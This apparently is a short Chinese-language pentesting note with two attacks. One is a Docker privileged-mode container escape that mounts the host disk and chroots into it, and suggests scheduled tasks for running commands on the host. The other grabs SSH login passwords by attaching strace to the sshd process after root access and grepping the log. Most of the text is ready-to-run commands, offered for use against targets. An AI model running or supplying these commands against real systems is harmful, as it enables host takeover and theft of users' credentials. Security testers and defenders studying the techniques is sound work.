docker 特权模式逃逸测试 ¶
配置特权模式时的逃逸情况 ¶
--privileged(特权模式) ¶
Privileged
允许容器内部拥有外部物理机 root 权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged 时,Docker容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
- 以特权模式运行一个容器:
docker run -it --name=test1 --privileged ubuntu:22.04 --rm /bin/bash
- 查看磁盘文件
fdisk -l
- 挂载 rootfs
mkdir /test && mount /dev/dm-0 /test && chroot /test
--cap-add=SYS_ADMIN ¶
利用strace命令抓取linux登录密码 ¶
strace是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。在后面抓取用户密码的时候,我们会使用这个软件来监控用户的ssh登录操作。
在获取到目标ROOT权限后,可以直接在终端执行如下命令,该命令会监听sshd进程,并将登录过程及信息记录到/tmp/sshd.log文件中。
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/sshd.log &)
模拟管理员ssh登录。输入正确的密码
ssh root@192.168.1.1
最后筛选登录密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/sshd.log
参考: https://www.freebuf.com/articles/network/363137.html https://www.cnblogs.com/yokan/p/16300797.html